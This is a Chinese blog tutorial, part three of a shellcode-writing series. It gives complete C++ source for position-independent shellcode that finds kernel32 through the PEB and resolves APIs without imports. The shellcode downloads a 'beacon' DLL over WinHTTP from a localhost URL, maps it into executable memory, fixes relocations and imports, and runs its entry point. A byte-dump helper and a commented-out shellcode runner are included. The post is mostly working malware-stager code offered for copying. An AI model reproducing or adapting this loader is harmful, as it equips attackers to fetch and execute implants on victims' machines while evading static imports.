[2022]填鸭式shellcode编写教程 (三) 重定位文件 huoji shellcode 2022-09-07 719 次浏览 0 次点赞 根据前两章的路线,现在是能实现了下载,但是还缺少重要的一步: 我们是能下载,但是没办法加载. 本章节将会指导如何加载我们的bacon ### beacon编写 首先我们先写一个正常的dll,然后用信息框弹出一个hello world,用vs2019新建一个项目叫做beacon: 把你的beacon改成x86-release,跟shellcode一样,关闭安全选项(要不然security cookie照样炸) 最重要的是,MD改成MT 因为MD是动态链接,体积是很小,但是你的程序基本上在其他的机子上跑不起来(因为其他机器没c++支持库) MT是全打包,虽然大了一点,但是靠得住 ![](https://key08.com/usr/uploads/2022/09/239168425.png) 配置完后,编写我们的第一个beacon hello world: ```cpp BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBoxA(NULL, "hello i am beacon", NULL, NULL); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` 然后编译你的beacon,放到之前的hfs目录 ![](https://key08.com/usr/uploads/2022/09/2506377248.png) ### 加载beacon 由于有重定向的存在,不可以在shellcode里面直接加载beacon,要想顺利加载beacon,你需要几步 1. 申请一块raw内存 2. 解析到pe头后,拿到真实大小 3. 展开PE,拷贝raw内存的数据到更大的内存里面 4. 重定位 5. 修复导入表 6. 跑起来 让我们一步一步说明 ### 申请一块raw内存 ```cpp // 创建一个请求,获取数据 hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); fnWinHttpReceiveResponse(hRequest, 0); typedef LPVOID(WINAPI* VirtualAllocT)( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect); constexpr char strVirtualAlloc[] = "VirtualAlloc"; VirtualAllocT fnVirtualAlloc = (VirtualAllocT)fnGetProcAddress((HMODULE)kernel32_base, (char*)strVirtualAlloc); //别介意代码风格突变,这是另外一个项目复制粘贴的. const auto fileSize = dwContentSize; void* rawBuffer = fnVirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); fnWinHttpReadData(hRequest, rawBuffer, fileSize, &dwReadBytes); ``` ### 解析PE头 ```cpp //把之前的链接关掉 fnWinHttpCloseHandle(hRequest); fnWinHttpCloseHandle(hConnect); fnWinHttpCloseHandle(hSession); PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)rawBuffer; PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)((LPBYTE)rawBuffer + pIDH->e_lfanew); ``` ### 解析到pe头后,拿到真实大小 ```cpp void* imageBuffer = fnVirtualAlloc(NULL, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); fnMemcpy(imageBuffer, rawBuffer, pINH->OptionalHeader.SizeOfHeaders); ``` ### 展开PE,拷贝raw内存的数据到更大的内存里面 ```cpp PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pINH + 1); for (size_t i = 0; i < pINH->FileHeader.NumberOfSections; i++) { fnMemcpy((PVOID)((LPBYTE)imageBuffer + pISH[i].VirtualAddress), (PVOID)((LPBYTE)rawBuffer + pISH[i].PointerToRawData), pISH[i].SizeOfRawData); } ``` ### 重定位 ```cpp //重定位 DWORD delta = (DWORD)((LPBYTE)imageBuffer - pINH->OptionalHeader.ImageBase); // Calculate the delta PIMAGE_BASE_RELOCATION pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (pIBR->VirtualAddress) { if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { DWORD count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); PWORD list = (PWORD)(pIBR + 1); for (size_t i = 0; i < count; i++) { if (list[i]) { PDWORD ptr = (PDWORD)((LPBYTE)imageBuffer + (pIBR->VirtualAddress + (list[i] & 0xFFF))); *ptr += delta; } } } pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock); } ``` ### 修复导入表 ```cpp //导入表修复 PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (pIID->Characteristics) { PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->OriginalFirstThunk); PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->FirstThunk); HANDLE hModule = fnLoadlibrary((LPCSTR)imageBuffer + pIID->Name); while (OrigFirstThunk->u1.AddressOfData) { if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // Import by ordinal DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)(OrigFirstThunk->u1.Ordinal & 0xFFFF)); FirstThunk->u1.Function = Function; } else { // Import by name PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)imageBuffer + OrigFirstThunk->u1.AddressOfData); DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)pIBN->Name); FirstThunk->u1.Function = Function; } OrigFirstThunk++; FirstThunk++; } pIID++; } ``` ### 跑起来 ```cpp //一切就绪 call一下entry typedef BOOL(WINAPI* PDLL_MAIN)(HMODULE, DWORD, PVOID); PDLL_MAIN EntryPoint = (PDLL_MAIN)((LPBYTE)imageBuffer + pINH->OptionalHeader.AddressOfEntryPoint); EntryPoint((HMODULE)imageBuffer, DLL_PROCESS_ATTACH, NULL); // Call the entry point ``` ### 测试: 如果没问题,你应该看得到beacon成功加载了 ![](https://key08.com/usr/uploads/2022/09/1564752743.png) ### 源码 ```cpp // 韭菜之家_day2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include #include #include #define DEREF( name )*(UINT_PTR *)(name) #define DEREF_64( name )*(unsigned __int64 *)(name) #define DEREF_32( name )*(unsigned long *)(name) #define DEREF_16( name )*(unsigned short *)(name) #define DEREF_8( name )*(UCHAR *)(name) typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; PWSTR pBuffer; } UNICODE_STR, * PUNICODE_STR; // WinDbg> dt -v ntdll!_PEB_LDR_DATA typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes { DWORD dwLength; DWORD dwInitialized; LPVOID lpSsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; LPVOID lpEntryInProgress; } PEB_LDR_DATA, * PPEB_LDR_DATA; // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes { struct _PEB_FREE_BLOCK* pNext; DWORD dwSize; } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; // struct _PEB is defined in Winternl.h but it is incomplete // WinDbg> dt -v ntdll!_PEB typedef struct __PEB // 65 elements, 0x210 bytes { BYTE bInheritedAddressSpace; BYTE bReadImageFileExecOptions; BYTE bBeingDebugged; BYTE bSpareBool; LPVOID lpMutant; LPVOID lpImageBaseAddress; PPEB_LDR_DATA pLdr; LPVOID lpProcessParameters; LPVOID lpSubSystemData; LPVOID lpProcessHeap; PRTL_CRITICAL_SECTION pFastPebLock; LPVOID lpFastPebLockRoutine; LPVOID lpFastPebUnlockRoutine; DWORD dwEnvironmentUpdateCount; LPVOID lpKernelCallbackTable; DWORD dwSystemReserved; DWORD dwAtlThunkSListPtr32; PPEB_FREE_BLOCK pFreeList; DWORD dwTlsExpansionCounter; LPVOID lpTlsBitmap; DWORD dwTlsBitmapBits[2]; LPVOID lpReadOnlySharedMemoryBase; LPVOID lpReadOnlySharedMemoryHeap; LPVOID lpReadOnlyStaticServerData; LPVOID lpAnsiCodePageData; LPVOID lpOemCodePageData; LPVOID lpUnicodeCaseTableData; DWORD dwNumberOfProcessors; DWORD dwNtGlobalFlag; LARGE_INTEGER liCriticalSectionTimeout; DWORD dwHeapSegmentReserve; DWORD dwHeapSegmentCommit; DWORD dwHeapDeCommitTotalFreeThreshold; DWORD dwHeapDeCommitFreeBlockThreshold; DWORD dwNumberOfHeaps; DWORD dwMaximumNumberOfHeaps; LPVOID lpProcessHeaps; LPVOID lpGdiSharedHandleTable; LPVOID lpProcessStarterHelper; DWORD dwGdiDCAttributeList; LPVOID lpLoaderLock; DWORD dwOSMajorVersion; DWORD dwOSMinorVersion; WORD wOSBuildNumber; WORD wOSCSDVersion; DWORD dwOSPlatformId; DWORD dwImageSubsystem; DWORD dwImageSubsystemMajorVersion; DWORD dwImageSubsystemMinorVersion; DWORD dwImageProcessAffinityMask; DWORD dwGdiHandleBuffer[34]; LPVOID lpPostProcessInitRoutine; LPVOID lpTlsExpansionBitmap; DWORD dwTlsExpansionBitmapBits[32]; DWORD dwSessionId; ULARGE_INTEGER liAppCompatFlags; ULARGE_INTEGER liAppCompatFlagsUser; LPVOID lppShimData; LPVOID lpAppCompatInfo; UNICODE_STR usCSDVersion; LPVOID lpActivationContextData; LPVOID lpProcessAssemblyStorageMap; LPVOID lpSystemDefaultActivationContextData; LPVOID lpSystemAssemblyStorageMap; DWORD dwMinimumStackCommit; } _PEB; typedef struct _LDR_DATA_TABLE_ENTRY { //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STR FullDllName; UNICODE_STR BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; #pragma comment(lib,"Winhttp.lib") void shellcode_start() { //代码不用理解,可以直接复制粘贴. //0.读取fs,找到peb uint64_t base_address = 0; __asm { mov eax, fs: [30h] mov dword ptr[base_address], eax } unsigned short m_counter; uint64_t ldr_table; uint64_t dll_name; uint64_t hash_name; uint64_t kernel32_base = 0; base_address = (uint64_t)((_PEB*)base_address)->pLdr; ldr_table = (uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink; //1. 通过peb里面的LDR找到kernel32的地址 while (ldr_table) { dll_name = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer; m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length; hash_name = 0; do { hash_name = _rotr((unsigned long)hash_name, 13); if (*((unsigned char*)dll_name) >= 'a') hash_name += *((unsigned char*)dll_name) - 0x20; else hash_name += *((unsigned char*)dll_name); dll_name++; } while (--m_counter); //hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多 //如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路 if ((unsigned long)hash_name == 0x6A4ABC5B) { //这就是kernel.dll的地址了 kernel32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase; break; } ldr_table = DEREF(ldr_table); if (kernel32_base != 0) { //找到了退出 break; } } if (kernel32_base == 0) { __debugbreak(); } typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, char* lpProcName); typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName); GetProcAddressT fnGetProcAddress = NULL; LoadLibraryAT fnLoadlibrary = NULL; //别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了.... UINT_PTR uiAddressArray = NULL; UINT_PTR uiNameArray = NULL; UINT_PTR uiNameOrdinals = NULL; PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL; PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL; PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL; // 解析PE头 pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kernel32_base + ((PIMAGE_DOS_HEADER)kernel32_base)->e_lfanew); pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kernel32_base + ((PIMAGE_DOS_HEADER)kernel32_base)->e_lfanew); // 拿到导出表 pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; // 遍历导出表 pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kernel32_base + pDataDirectory->VirtualAddress); uiAddressArray = (kernel32_base + pExportDirectory->AddressOfFunctions); uiNameArray = (kernel32_base + pExportDirectory->AddressOfNames); uiNameOrdinals = (kernel32_base + pExportDirectory->AddressOfNameOrdinals); unsigned long dwCounter = pExportDirectory->NumberOfNames; char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '\0' }; char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','\0' }; while (dwCounter--) { char* cpExportedFunctionName = (char*)(kernel32_base + DEREF_32(uiNameArray)); char* matchPtr = &str1[0]; int ret = 0; while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName) { cpExportedFunctionName++; matchPtr++; } if (ret == 0) { uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long)); fnGetProcAddress = (GetProcAddressT)(kernel32_base + DEREF_32(uiAddressArray)); } else { cpExportedFunctionName = (char*)(kernel32_base + DEREF_32(uiNameArray)); char* matchPtr = &str2[0]; ret = 0; while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName) { cpExportedFunctionName++; matchPtr++; } if (ret == 0) { uiAddressArray = (kernel32_base + pExportDirectory->AddressOfFunctions); uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long)); fnLoadlibrary = (LoadLibraryAT)(kernel32_base + DEREF_32(uiAddressArray)); } } if (fnLoadlibrary && fnGetProcAddress) { break; } uiNameArray += sizeof(unsigned long); uiNameOrdinals += sizeof(unsigned short); } if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) { __debugbreak(); } typedef struct _URL_INFO { WCHAR szScheme[36]; WCHAR szHostName[36]; WCHAR szUserName[36]; WCHAR szPassword[36]; WCHAR szUrlPath[36]; WCHAR szExtraInfo[36]; }URL_INFO, * PURL_INFO; _URL_INFO url; URL_COMPONENTSW lpUrlComponents; lpUrlComponents.dwStructSize = sizeof(lpUrlComponents); lpUrlComponents.lpszExtraInfo = url.szExtraInfo; lpUrlComponents.lpszHostName = url.szHostName; lpUrlComponents.lpszPassword = url.szPassword; lpUrlComponents.lpszScheme = url.szScheme; lpUrlComponents.lpszUrlPath = url.szUrlPath; lpUrlComponents.lpszUserName = url.szUserName; lpUrlComponents.dwExtraInfoLength = lpUrlComponents.dwHostNameLength = lpUrlComponents.dwPasswordLength = lpUrlComponents.dwSchemeLength = lpUrlComponents.dwUrlPathLength = lpUrlComponents.dwUserNameLength = 36; typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents); typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW, _In_ DWORD dwAccessType, _In_opt_z_ LPCWSTR pszProxyW, _In_opt_z_ LPCWSTR pszProxyBypassW, _In_ DWORD dwFlags); typedef HINTERNET(WINAPI* WinHttpConnectT)( IN HINTERNET hSession, IN LPCWSTR pswzServerName, IN INTERNET_PORT nServerPort, IN DWORD dwReserved); typedef HINTERNET(WINAPI* WinHttpOpenRequestT)( IN HINTERNET hConnect, IN LPCWSTR pwszVerb, IN LPCWSTR pwszObjectName, IN LPCWSTR pwszVersion, IN LPCWSTR pwszReferrer OPTIONAL, IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL, IN DWORD dwFlags); typedef BOOL(WINAPI* WinHttpSendRequestT)( IN HINTERNET hRequest, _In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders, IN DWORD dwHeadersLength, _In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional, IN DWORD dwOptionalLength, IN DWORD dwTotalLength, IN DWORD_PTR dwContext); typedef BOOL(WINAPI* WinHttpReceiveResponseT)( IN HINTERNET hRequest, IN LPVOID lpReserved); typedef BOOL(WINAPI* WinHttpQueryHeadersT)( IN HINTERNET hRequest, IN DWORD dwInfoLevel, IN LPCWSTR pwszName OPTIONAL, _Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer, IN OUT LPDWORD lpdwBufferLength, IN OUT LPDWORD lpdwIndex OPTIONAL); typedef BOOL(WINAPI* WinHttpCloseHandleT)( IN HINTERNET hInternet); typedef BOOL(WINAPI* WinHttpReadDataT)( IN HINTERNET hRequest, _Out_writes_bytes_to_(dwNumberOfBytesToRead, *lpdwNumberOfBytesRead) __out_data_source(NETWORK) LPVOID lpBuffer, IN DWORD dwNumberOfBytesToRead, OUT LPDWORD lpdwNumberOfBytesRead); typedef void*(WINAPI* memcpyT)( _Out_writes_bytes_all_(_Size) void* _Dst, _In_reads_bytes_(_Size) void const* _Src, _In_ size_t _Size); constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl"; constexpr char strWinHttpOpen[] = "WinHttpOpen"; constexpr char strWinHttpConnect[] = "WinHttpConnect"; constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest"; constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest"; constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse"; constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders"; constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle"; constexpr char strWinHttpReadData[] = "WinHttpReadData"; constexpr char strMemcpy[] = "memcpy"; constexpr char strWinhttp[] = "Winhttp.dll"; constexpr wchar_t strUrl[] = L"http://127.0.0.1/beacon.dll"; constexpr wchar_t strHead[] = L"HEAD"; constexpr wchar_t strHTTP[] = L"HTTP/1.1"; constexpr wchar_t strGet[] = L"GET"; constexpr char strMsvcrt[] = "msvcrt.dll"; WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl); WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen); WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect); WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest); WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest); WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse); WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders); WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle); WinHttpReadDataT fnWinHttpReadData = (WinHttpReadDataT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReadData); memcpyT fnMemcpy = (memcpyT)fnGetProcAddress(fnLoadlibrary(strMsvcrt), (char*)strMemcpy); // 创建一个会话 fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents); HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0); DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0; // 创建一个连接 HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0); // 创建一个请求,先查询内容的大小 HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); fnWinHttpReceiveResponse(hRequest, 0); fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex); fnWinHttpCloseHandle(hRequest); // 创建一个请求,获取数据 hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); fnWinHttpReceiveResponse(hRequest, 0); typedef LPVOID(WINAPI* VirtualAllocT)( _In_opt_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flAllocationType, _In_ DWORD flProtect); constexpr char strVirtualAlloc[] = "VirtualAlloc"; VirtualAllocT fnVirtualAlloc = (VirtualAllocT)fnGetProcAddress((HMODULE)kernel32_base, (char*)strVirtualAlloc); //别介意代码风格突变,这是另外一个项目复制粘贴的. const auto fileSize = dwContentSize; void* rawBuffer = fnVirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); fnWinHttpReadData(hRequest, rawBuffer, fileSize, &dwReadBytes); //把之前的链接关掉 fnWinHttpCloseHandle(hRequest); fnWinHttpCloseHandle(hConnect); fnWinHttpCloseHandle(hSession); PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)rawBuffer; PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)((LPBYTE)rawBuffer + pIDH->e_lfanew); void* imageBuffer = fnVirtualAlloc(NULL, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); fnMemcpy(imageBuffer, rawBuffer, pINH->OptionalHeader.SizeOfHeaders); PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pINH + 1); for (size_t i = 0; i < pINH->FileHeader.NumberOfSections; i++) { fnMemcpy((PVOID)((LPBYTE)imageBuffer + pISH[i].VirtualAddress), (PVOID)((LPBYTE)rawBuffer + pISH[i].PointerToRawData), pISH[i].SizeOfRawData); } //重定位 DWORD delta = (DWORD)((LPBYTE)imageBuffer - pINH->OptionalHeader.ImageBase); // Calculate the delta PIMAGE_BASE_RELOCATION pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (pIBR->VirtualAddress) { if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) { DWORD count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); PWORD list = (PWORD)(pIBR + 1); for (size_t i = 0; i < count; i++) { if (list[i]) { PDWORD ptr = (PDWORD)((LPBYTE)imageBuffer + (pIBR->VirtualAddress + (list[i] & 0xFFF))); *ptr += delta; } } } pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock); } //导入表修复 PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); while (pIID->Characteristics) { PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->OriginalFirstThunk); PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->FirstThunk); HANDLE hModule = fnLoadlibrary((LPCSTR)imageBuffer + pIID->Name); while (OrigFirstThunk->u1.AddressOfData) { if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) { // Import by ordinal DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)(OrigFirstThunk->u1.Ordinal & 0xFFFF)); FirstThunk->u1.Function = Function; } else { // Import by name PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)imageBuffer + OrigFirstThunk->u1.AddressOfData); DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)pIBN->Name); FirstThunk->u1.Function = Function; } OrigFirstThunk++; FirstThunk++; } pIID++; } //一切就绪 call一下entry typedef BOOL(WINAPI* PDLL_MAIN)(HMODULE, DWORD, PVOID); PDLL_MAIN EntryPoint = (PDLL_MAIN)((LPBYTE)imageBuffer + pINH->OptionalHeader.AddressOfEntryPoint); EntryPoint((HMODULE)imageBuffer, DLL_PROCESS_ATTACH, NULL); // Call the entry point } void shellcode_end() { __debugbreak(); } int main() { const auto start_address = (uint32_t)shellcode_start; const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address; for (size_t i = 0; i < shellcode_size; i++) { auto sig_code = ((unsigned char*)start_address)[i]; printf(",0x%02X", sig_code); } /* char shellcode[] = { ... }; PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(p, shellcode, sizeof(shellcode)); typedef void(__stdcall* door_code) (); door_code run_shellcode = (door_code)p; run_shellcode(); */ system("pause"); } ``` 本文由 huoji 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。 点赞 0
还不快抢沙发